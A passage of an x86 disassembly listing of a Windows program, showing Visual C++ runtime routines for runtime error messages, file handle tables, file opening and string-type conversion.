		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
					; sub_41E2EE+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_41E2EE+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_427078	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_427028	; GetStdHandle
		push	eax
		call	dword_4270F0	; WriteFile


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		call	dword_427020	; SetStdHandle


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		call	dword_427020	; SetStdHandle


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		call	dword_42701C	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_424125
		call	dword_427094	; RtlGetLastWin32Error
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: .packed:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: .packed:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4270F8	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		call	dword_427024	; GetFileType
		test	eax, eax
		jnz	short loc_424419
		push	esi
		call	dword_427070	; CloseHandle


loc_424405:				; CODE XREF: sub_42423B+1B6j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	dword_427014	; GetStringTypeW
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		call	dword_427018	; GetStringTypeA
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_427018	; GetStringTypeA
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_4270E8	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_4270E8	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_427014	; GetStringTypeW
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
